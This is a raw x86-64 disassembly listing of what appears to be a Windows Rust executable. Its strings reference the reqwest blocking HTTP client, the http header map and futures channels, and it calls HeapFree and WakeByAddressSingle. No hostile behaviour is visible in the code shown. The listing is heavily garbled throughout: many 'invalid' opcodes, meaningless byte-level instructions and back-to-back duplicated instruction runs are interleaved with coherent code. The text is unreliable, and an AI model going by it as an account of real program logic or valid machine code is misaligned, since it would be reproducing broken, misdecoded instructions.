movups xmmword [rsp + 0x20c], xmm1
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x220], rax
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov qword [rsp + 0x20], rax
lea rcx, str.core_thread_panicked
lea r9, str.PJ_f_
lea r8, [rsp + 0x110]
mov edx, 0x14
adc al, 0
add byte [rax], al
xlatb
invalid
adc al, 0
add byte [rax], al
call fcn.1401088e0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
cdq
invalid
add byte [rbp + rcx*4 + 0xd], cl
lahf
xchg ebp, eax
invalid
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x20
add eax, dword [rax]
add byte [rdx + 0x17], bh
add byte [rax], al
add al, ch
call fcn.1401088e0
lea rax, str.overflow_in_Duration::new
call fcn.1401088e0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], 8
and byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz], ah
and byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
invalid
invalid
test byte [rax + rbp], ah
and byte [rcx], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x830b4
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x830b4
lea rcx, [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rax], al
call fcn.140108560
invalid
invalid
add byte [rax], al
call fcn.140108560
mov ecx, 7
int 0x29
ud2
mov dh, 0x84
and al, 0xa0
add al, byte [rax]
add byte [rbp - 0x2e7bf040], al
add byte [rax], al
add byte [rbx + 0x4c7503f8], al
movzx eax, byte [rsp + 0x250]
test eax, eax
je 0x1400c63f1
and al, byte [rbx + 0x427503f8]
mov rax, qword [rsp + 0x240]
mov rcx, qword [rax]
jmp 0x1400c6712
mov ecx, dword [rsp + 0x230]
jmp 0x1400c66fa
invalid
cmp eax, 0x48000427
lea ecx, [0x140140640]
call fcn.140108b60
mov byte [rsp + 0x160], 1
lea rcx, [rsp + 0x118]
mov rax, qword [rcx + 0x40]
lea rdx, [rsp + 0x4a0]
mov qword [rdx + 0x40], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx], xmm0
lea rdx, [rsp + 0x3b0]
mov r8d, 0x138
mov rcx, r13
call fcn.140106530
mov byte [rsp + 0x2a0], 0
mov rax, qword [r13 + 0x110]
mov qword [rsp + 0x340], rax
movups xmm0, xmmword [r13 + 0xf0]
movups xmm1, xmmword [r13 + 0x100]
movaps xmmword [rsp + 0x330], xmm1
movdqu xmm6, xmmword [rsp + 0x280]
mov rax, qword [rsp + 0x290]
mov rsi, qword [rsp + 0x298]
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], rsi
cmp rsi, 0x2000
mov ecx, 0x2000
cmovae rsi, rcx
movaps xmmword [rsp + 0x320], xmm0
test rax, rax
cmove rsi, rcx
mov qword [rsp + 0x1a8], 0
mov eax, 1
xor ecx, ecx
test rsi, rsi
je 0x1400c6534
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rsi
call fcn.1400df910
test rax, rax
je 0x1400c66b6
mov rcx, qword [rsp + 0x1a8]
mov r8, rsi
shr r8, 0xa
mov edx, 0x40
je 0x1400c654a
bsr rdx, r8
xor rdx, 0x3f
shl rdx, 2
mov r8d, 0x101
sub r8, rdx
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], 0
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], r8
movdqu xmmword [rsp + 0x198], xmm6
mov rax, qword [rsp + 0x340]
mov qword [r14 + 0x20], rax
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
cmp qword [rsp + 0x188], 0
je 0x1400c6bd1
cmp rcx, qword [rsp + 0x190]
jne 0x1400c6bd1
xor esi, esi
cmp byte [rsp + 0x1d0], 3
je 0x1400c65da
mov rcx, r14
call fcn.140085650
mov rbx, qword [rsp + 0x198]
mov rdi, qword [rsp + 0x1a0]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c6613
cmp qword [rdi + 0x10], 0x11
jb 0x1400c6601
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsp + 0x180]
test r8b, 1
jne 0x1400c6650
lock dec qword [r8 + 0x20]
jne 0x1400c6678
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400c6669
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
jmp 0x1400c6669
shr r8, 5
neg r8
cmp qword [rsp + 0x178], r8
je 0x1400c6678
add r8, qword [rsp + 0x168]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rsp + 0x2a0], 1
xor eax, eax
mov cl, 3
test rax, rax
je 0x1400c6756
mov byte [rsp + 0x161], cl
cmp ebp, 0x3b9aca00
jne 0x1400c7333
call fcn.1400d6c90
movzx eax, byte [rsp + 0x161]
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
mov ecx, 1
mov rdx, rsi
call fcn.1401082a0
mov qword [rsp + 0x208], rcx
movups xmm0, xmmword [r13 + 0x80]
movups xmm1, xmmword [r13 + 0x90]
lea rax, [rsp + 0x210]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rsp + 0x230], rcx
mov byte [rsp + 0x248], 0
add byte [rax - 0x77], cl
mov word [rax + rdi], fs
add al, byte [rax]
add byte [rax - 0x73], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add al, byte [rax]
invalid
add byte [rax - 0x77], cl
mov word [rax + rdi], fs
add al, byte [rax]
add byte [rax - 0x73], cl
test byte [rax + rdi], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rax*2], ah
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xf0
add al, byte [rax]
add al, ch
add edi, esi
idiv bh
lea rdx, [rsp + 0x2f0]
call fcn.140035e20
test rax, rax
setne cl
add cl, cl
or cl, 1
mov byte [rsp + 0x248], cl
test rax, rax
je 0x1400c6784
mov byte [rsp + 0x250], 3
mov byte [rsp + 0x2a0], 3
mov eax, 1
mov cl, 3
test rax, rax
jne 0x1400c668d
mov rcx, r13
call fcn.1400c45f0
test rsi, rsi
jne 0x1400c700d
mov byte [rsp + 0x160], 0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x168], rax
jmp 0x1400c72f4
test rdx, rdx
je 0x1400c67b4
mov rsi, rdx
mov rax, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp], fs
add al, byte [rax]
add bh, bh
push rax
adc cl, ch
invalid
add dword [rax], eax
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rbp], fs
add al, byte [rax]
add bh, bh
push rax
adc cl, ch
invalid
mov r12, qword [rsp + 0x208]
lea rdi, [rsp + 0x210]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
movzx eax, byte [r12 + 0x20]
mov sil, 1
cmp al, 2
jne 0x1400c6886
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x3c0], xmm1
movaps xmmword [rsp + 0x3b0], xmm0
mov byte [rsp + 0x3d0], sil
rol byte [rbx], 1
add byte [rax], al
rol byte [rbx], 1
add byte [rax], al
mov eax, dword [rsp + 0xb0]
mov ecx, dword [rsp + 0xb3]
lea rdx, [rsp + 0x4a0]
mov dword [rdx - 0xcc], ecx
mov dword [rdx - 0xcf], eax
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c71a9
add byte [rax], al
add byte [rax], al
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov rsi, rax
mov byte [rax + 0x30], 5
mov rax, qword [rsp + 0x3b0]
test rax, rax
je 0x1400c6929
mov rdx, qword [rsp + 0x3b8]
mov r8, qword [rsp + 0x3c0]
lea rcx, [rsp + 0x3c8]
call qword [rax + 0x10]
jmp 0x1400c6936
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
test al, al
je 0x1400c69e2
mov rdi, qword [r12 + 0x18]
lea rdx, [rdi + 0x10]
mov cl, 1
xor eax, eax
sal al, 0xf
mov al, 0x4f
adc byte [rdi], cl
test edx, ebx
invalid
add byte [rax], al
sal al, 0xf
mov al, 0x4f
adc byte [rdi], cl
test edx, ebx
invalid
mov rax, qword [0x140182308]
shl rax, 1
xor ebx, ebx
test rax, rax
jne 0x1400c7093
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x1400c70af
cmp byte [rdi + 0x28], 0
je 0x1400c69b4
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400c68e7
mov rcx, qword [rdi + 0x20]
mov rsi, rdx
call qword [rax + 0x18]
mov rdx, rsi
mov qword [rdi + 0x18], 0
test bl, bl
jne 0x1400c6906
sbb byte [r8], r8b
add byte [rax], al
add byte [rbx + rbx*8 - 0x74b7ec8b], al
add eax, 0xbba0e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne case.0x14005088a.433
xor eax, eax
xchg byte [rdx], al
xor esi, esi
lea rdi, [rsp + 0x60]
cmp al, 2
jne 0x1400c67e6
int 0xfe
invalid
invalid
int 0xfe
invalid
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor esi, esi
jmp 0x1400c67e6
lea rcx, [rsp + 0x3b8]
lea ecx, [rsp + 0x3b8]
call fcn.140035b40
mov byte [rsp + 0x250], 1
movzx eax, byte [0x140182310]
mov ecx, 0x8ba000b
add byte [rax], al
add byte [rcx], dh
leave
mov ecx, 0x8ba000b
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je 0x1400c718b
mov rbx, rax
mov qword [rax], rsi
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
mov rsi, rax
lea rax, fcn.140035b40
test rsi, rsi
je 0x1400c6ea4
movabs rcx, 0x8000000000000000
mov qword [rsi], rcx
mov qword [rsi + 0x58], rbx
mov qword [rsi + 0x60], rax
mov word [rsi + 0x68], 4
cmp byte [rsp + 0x1d0], 3
je 0x1400c65da
jmp 0x1400c65d2
mov byte [r12 + 0x20], 0
test bl, bl
jne 0x1400c69d1
invalid
adc ecx, dword [rax - 0x75]
add eax, 0xbb943
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400c7141
xor eax, eax
xchg byte [rdx], al
cmp al, 2
jne 0x1400c69e2
mov rcx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rcx, qword [r12 + 0x10]
mov rax, qword [rcx + 0x38]
movabs rdx, 0x7fffffffffffffff
lea rdi, [rsp + 0x60]
movabs r10, 0x8000000000000000
nop word cs:[rax + rax]
test rax, rax
jns 0x1400c67e6
mov r8, rax
and r8, rdx
cmp r8, rdx
je 0x1400c7173
lea r9, [rax + 1]
or r9, r10
lock cmpxchg qword [rcx + 0x38], r9
jne 0x1400c6a10
mov rsi, qword [r12 + 0x10]
cmp r8, qword [rsi + 0x30]
jb 0x1400c6b1f
mov rdi, qword [r12 + 0x18]
lea rsi, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne case.0x140095e7c.179
mov rax, qword [0x140182308]
shl rax, 1
xor ebx, ebx
test rax, rax
jne 0x1400c70f7
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x1400c710d
mov rax, qword [rdi + 0x18]
test rax, rax
je 0x1400c6a8f
mov rcx, qword [rdi + 0x20]
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x39], cl
sbb byte [r8], r8b
add byte [rax], al
add dh, al
sub byte [r9], r8b
mov qword [rdi + 0x18], 0
mov byte [rdi + 0x28], 1
test bl, bl
jne 0x1400c6ab2
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400c715d
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400c6ac3
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rsi, qword [r12 + 0x18]
lock inc qword [rsi]
jle 0x1400c77e1
mov rdi, qword [r12 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x10
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c72e5
mov qword [rax], 0
mov qword [rax + 8], rsi
mov rcx, rax
xchg qword [rdi + 0x20], rcx
mov qword [rcx], rax
mov rax, qword [r12 + 0x10]
mov rax, qword [rax + 0x38]
shr rax, 0x3f
mov byte [r12 + 0x20], al
mov rsi, qword [r12 + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c72d6
mov qword [rax], 1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], 0
mov rcx, rax
xchg qword [rsi + 0x10], rcx
mov qword [rcx + 0x28], rax
mov rax, qword [rsi + 0x58]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x1400c6b70
test rax, rax
jne 0x1400c6ba2
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400c6ba2
call qword [rax + 8]
mov byte [rsp + 0x250], 1
mov rcx, qword [rsp + 0x1a8]
add rcx, qword [rsp + 0x1d8]
mov qword [rsp + 0x1a8], rcx
cmp qword [rsp + 0x188], 0
jne 0x1400c65b8
mov r8, qword [rsp + 0x170]
jo 0x1400c6bd8
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rsp + rdx*2 + 0x4c], 0x89
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax + 0x1d024bc], al
add byte [rax], al
add ecx, dword [rdi]
test dh, dh
add eax, dword [rax]
test r8, r8
je 0x1400c6c32
mov qword [rsp + 0x1d8], r8
cmp byte [rsp + 0x1d0], 3
je 0x1400c6fea
invalid
add byte [rax - 0x73], cl
mov word [rax + rsi*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
lea rcx, [rsp + 0xb0]
mov rdx, r13
call fcn.140012550
mov rsi, qword [rsp + 0xc8]
test sil, 1
jne 0x1400c6eb3
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xb8]
lea rcx, [0x14014fa88]
jmp 0x1400c6f6a
cmp byte [rbx], al
add byte [rax], al
mov r8, qword [rsp + 0x178]
add byte [rax], al
xor edx, edx
test r8, r8
jne 0x1400c6c5e
mov edx, 0x40
mov rcx, r13
call fcn.1400126f0
hlt
dec dword [rax - 0x75]
xchg esp, eax
and al, 0x70
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x78
add dword [rax], eax
invalid
hlt
sub r8, rdx
add rdx, qword [rsp + 0x168]
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
call qword [rax + 0x18]
mov rsi, rdx
test rax, rax
je 0x1400c6fa2
ror byte [rax + 3], 1
xchg esp, eax
and al, 0x68
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rbx*4], fs
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add dword [rax], eax
add bh, bh
push rax
sbb byte [rax - 0x77], cl
invalid
movzx ebx, byte [rsp + 0x1d0]
mov byte [rsp + 0x1d0], 3
cmp bl, 3
je 0x1400c723f
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x3c0], xmm1
adc byte [rdi], cl
sub dword [rsp + 0x3c0], ecx
movaps xmmword [rsp + 0x3b0], xmm0
mov byte [rsp + 0x3d0], bl
add byte [rcx - 0x75], al
imul r8d, dword [r9 - 0x75], 0x8d486c4d
xchg esp, eax
and al, 0xa0
add al, 0
add byte [rcx - 0xcb76], cl
dec dword [rcx - 0xce7e]
invalid
xor edi, edi
invalid
dec dword [rdi]
mov dh, 5
sub al, 0xb6
or eax, dword [rax]
add byte [rcx - 0x75], al
imul r8d, dword [r9 - 0x75], 0x8d486c4d
xchg esp, eax
and al, 0xa0
add al, 0
add byte [rcx - 0xcb76], cl
dec dword [rcx - 0xce7e]
invalid
xor edi, edi
invalid
dec dword [rdi]
mov dh, 5
sub al, 0xb6
or eax, dword [rax]
invalid
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c71a9
add al, 0
invalid
add al, 0
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
add dh, al
sub dword [rdx], eax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov word [rax + 0x30], 0x101
mov rcx, qword [rsp + 0x3c0]
mov edx, ebx
mov r8, rax
call fcn.140036b20
mov rax, qword [rsp + 0x3b8]
test byte [rax + rdi*4], ah
add eax, dword [rax]
add al, dh
dec qword [rax]
test byte [rax + rdi*4], ah
add eax, dword [rax]
add al, dh
mov eax, 0xf0000003
dec qword [rax]
jne 0x1400c6d37
mov rcx, qword [rsp + 0x3b8]
call fcn.140066cf0
cmp byte [rsp + 0x3d0], 2
je 0x1400c6dd0
mov rdi, qword [rsp + 0x3c0]
lock dec qword [rdi + 0x40]
jne 0x1400c6da2
mov rax, qword [rdi + 0x38]
test rax, rax
jns 0x1400c6d6c
movabs rax, 0x7fffffffffffffff
lock and qword [rdi + 0x38], rax
mov rax, qword [rdi + 0x58]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x58], rcx
jne case.0x14006bdd6.357
int1
int1
test rax, rax
test eax, eax
jne 0x1400c6da2
mov rax, qword [rdi + 0x48]
mov rcx, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
and dword [rdi + 0x58], 0xfffffffd
and dword [rdi + 0x58], 0xfffffffd
test rax, rax
je 0x1400c6da2
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400c6db5
lea rcx, [rsp + 0x3c0]
call fcn.1400353d0
mov rax, qword [rsp + 0x3c8]
lock dec qword [rax]
or byte [rbp + 0xd], dh
or byte [rbp + 0xd], dh
mov rcx, qword [rsp + 0x3c8]
call fcn.140066cf0
mov rdi, qword [rsp + 0x3b0]
test rdi, rdi
je 0x1400c6e5c
mov bl, 1
mov al, 1
add dword [rsi + 0xa887], eax
add byte [rax - 0x777879ff], dh
add byte [rax], al
invalid
test al, al
jne 0x1400c6e16
add dword [rax - 0x577879ff], esi
add byte [rax], al
add byte [rax - 0x777879ff], dh
add byte [rax], al
add byte [rax + rax*8 - 0x74b7dc8b], al
js 0x1400c6e40
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov ecx, dword [rdi + 0x80]
mov qword [rdi + 0x78], 0
add byte [rax], al
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x1400c6e16
call qword [rax + 8]
xchg byte [rdi + 0xa0], bl
test bl, bl
jne 0x1400c6e49
movabs al, byte [0x482975db84000000]
mov eax, dword [rdi + 0x90]
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400c6e41
call qword [rax + 0x18]
sbb byte [rcx], dh
rol byte [rsi + 0xa087], 0
xor eax, eax
xchg byte [rdi + 0xa0], al
lock dec qword [rdi]
jne 0x1400c6e5c
mov rcx, qword [rsp + 0x3b0]
call fcn.140036cf0
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
adc eax, dword [rbx]
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
adc eax, dword [rbx]
add byte [rax], al
mov rbx, rax
mov qword [rax], rsi
movzx eax, byte [0x140182310]
mov edx, 0x70
add byte [rax], al
add byte [rax], al
xor ecx, ecx
call fcn.1400df910
mov rsi, rax
lea rax, [0x14013dd20]
test rsi, rsi
test esi, esi
jne 0x1400c6986
loop 0x1400c6e9c
invalid
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
shr rsi, 5
mov rdi, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
add byte [rax], al
add byte [rax + 0x29], cl
invalid
lea rbx, [rsi + rax]
and al, 0xb8
add byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
add byte [rax], al
add byte [rax + 0x29], cl
test dword [rax - 0x73], 0x394c061c
cmp rax, r12
invalid
cmp rax, r12
jne 0x1400c6f15
lea rcx, [0x140114ae8]
mov edx, 1
xor eax, eax
mov r9d, 0
test rbx, rbx
je 0x1400c6f50
lea rcx, [0x14012a0a8]
test dil, 1
jne 0x1400c7002
mov rax, rdi
or rax, 1
lea rcx, [0x14012a090]
jmp 0x1400c6f4a
movzx eax, byte [0x140182310]
mov edx, 0x18
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c719a
add r12, rsi
mov qword [rax], rdi
mov dword [rax], edi
mov dword [rax], edi
mov qword [rax + 8], r12
mov qword [rax + 0x10], 1
lea rcx, [0x140114bd8]
mov ds, esp
add al, 0
mov ds, esp
add al, 0
mov rdx, rdi
mov r9, rbx
mov qword [rsp + 0x310], rsi
mov ah, 0x24
adc byte [rbx], al
add byte [rax], al
mov r8, r9
sub r8, rsi
jb 0x1400c71b8
add rdx, rsi
mov rsi, rax
mov esi, eax
mov esi, eax
mov qword [rsp + 0x1e0], r14
mov ah, 0x24
loopne 0x1400c6f71
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rbp*8], fs
and al, 0xe8
mov qword [rsp + 0x1e8], rcx
mov qword [rsp + 0x1f0], rdx
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xf8
add dword [rax], eax
invalid
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xf8
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x200], rsi
mov byte [rsp + 0x250], 0
mov rcx, r14
int1
int1
jmp 0x1400c66c3
test rsi, rsi
je 0x1400c65c6
mov r8, qword [rsp + 0x170]
add r8, rsi
mov qword [rsp + 0xb0], r8
add byte [rax], al
add byte [rax], al
cmp r8, qword [rsp + 0x178]
ja 0x1400c7257
mov qword [rsp + 0x170], r8
mov qword [rsp + 0x1d8], r8
cmp byte [rsp + 0x1d0], 3
jne 0x1400c6bf4
lea rcx, str.tx_only_taken_on_error
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blocking_body.rs
mov edx, 0x16
call fcn.140108990
mov rdx, rdi
mov rax, rdi
jmp 0x1400c6f4d
invalid
dec dword [rax - 0x75]
mov esp, 0x11024
add byte [rax - 0x7b], cl
dec dword [rax - 0x75]
lodsb al, byte [rsi]
and al, 0x90
nop
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
je 0x1400c7050
pop rax
mov rdi, qword [rsp + 0x110]
test rdi, rdi
mov rbp, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
je 0x1400c7050
pop rax
je 0x1400c7050
pop rax
mov r15, qword [rsp + 0x88]
je 0x1400c7075
mov rax, qword [rdi + 0x30]
nop dword [rax + rax]
xor byte [rdi], cl
invalid
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdi + 0x30], rcx
invalid
ror dword [rax - 0x7d], 0xc9
add al, 0xf0
cmpxchg qword [rdi + 0x30], rcx
invalid
xor byte [rbp - 0xf], dh
jne 0x1400c7040
and eax, 0xa
loopne case.0x140096fc6.170
cmp eax, 8
jne 0x1400c7062
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 0x18]
mov ecx, dword [rdi + 0x18]
adc byte [rax - 0x75], cl
sbb r15b, r15b
push rax
adc al, dh
dec qword [rdi]
mov ecx, dword [rdi + 0x18]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c7075
mov rcx, qword [rsp + 0x110]
call fcn.1400bf9b0
mov r12d, 4
jmp 0x1400c7634
add cl, ch
mov ah, 5
add byte [rax], al
mov rcx, rdx
mov rbx, rdx
call fcn.140110530
add byte [rax - 0x77], cl
fucompp
adc edi, eax
invalid
invalid
add byte [rax - 0x77], cl
fucompp
adc edi, eax
invalid
mov rbx, rdx
call fcn.1401105f0
mov rdx, rbx
mov ebx, eax
xor bl, 1
add dword [rdi], ecx
mov dh, 0x47
adc dword [rax + rax*8 - 0x7e77bf1], eax
invalid
invalid
add dword [rdi], ecx
mov dh, 0x47
adc dword [rax + rax*8 - 0x7e77bf1], eax
invalid
mov qword [rsp + 0x3b0], rdx
mov byte [rsp + 0x3b8], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
mov edi, 0x4c000ab8
lea ecx, [0x14013fae8]
invalid
mov al, byte [rdi]
invalid
mov edi, 0x4c000ab8
lea ecx, [0x14013fae8]
invalid
mov al, byte [rdi]
invalid
adc byte [rdx - 0x72b3fff9], cl
test byte [rax + rsi*4], ah
add eax, dword [rax]
add byte [rdx + 0x2b], bh
sub eax, dword [rax]
add byte [rax], al
lea r8, [rsp + 0x3b0]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
call fcn.1401088e0
mov rcx, rsi
call fcn.140110530
jmp 0x1400c6a5e
stc
invalid
invalid
stc
invalid
call fcn.1401105f0
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 0x11]
test al, al
je 0x1400c6a7f
stc
invalid
invalid
stc
invalid
mov qword [rsp + 0x3b0], rsi
mov byte [rsp + 0x3b8], bl
add byte [rax], al
add byte [rax + 0x3b8249c], cl
add byte [rax], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
jmp 0x1400c70c5
mov rsi, rdx
call fcn.1401105f0
mov rdx, rsi
mov edx, esi
mov edx, esi
test al, al
jne 0x1400c6906
mov byte [rdi + 0x11], 1
adc dword [r9], r8d
jmp 0x1400c6906
mov rbx, rdx
call fcn.1401105f0
mov rdx, rbx
mov edx, ebx
test al, al
jne 0x1400c69d1
jge 0x1400c714a
invalid
invalid
ror byte [rdi], 0x85
jge 0x1400c714a
invalid
mov byte [rdi + 0x11], 1
jmp 0x1400c69d1
call fcn.1401105f0
test al, al
jne 0x1400c6ab2
mov byte [rdi + 0x11], 1
jmp 0x1400c6ab2
lea rcx, str.buffer_space_exhausted__sending_this_messages_would_overflow_the_state
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_channel_0.3.30_srcmpscmod.rs
add byte [rdx + 0x46], bh
add byte [rdx + 0x46], bh
call fcn.14010d200
mov ecx, 8
mov edx, 8
call fcn.1401082c0
mov ecx, 8
mov edx, 0x18
call fcn.1401082c0
mov ecx, 8
add byte [rdx + 0x38], bh
mov edx, 0x38
add al, ch
or byte [rcx], dl
add al, 0
call fcn.1401082c0
mov qword [rsp + 0x318], r9
lea rax, [rsp + 0x310]
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x60
add eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x60
lea rax, [0x1400e9f80]
add al, byte [rax]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x318]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
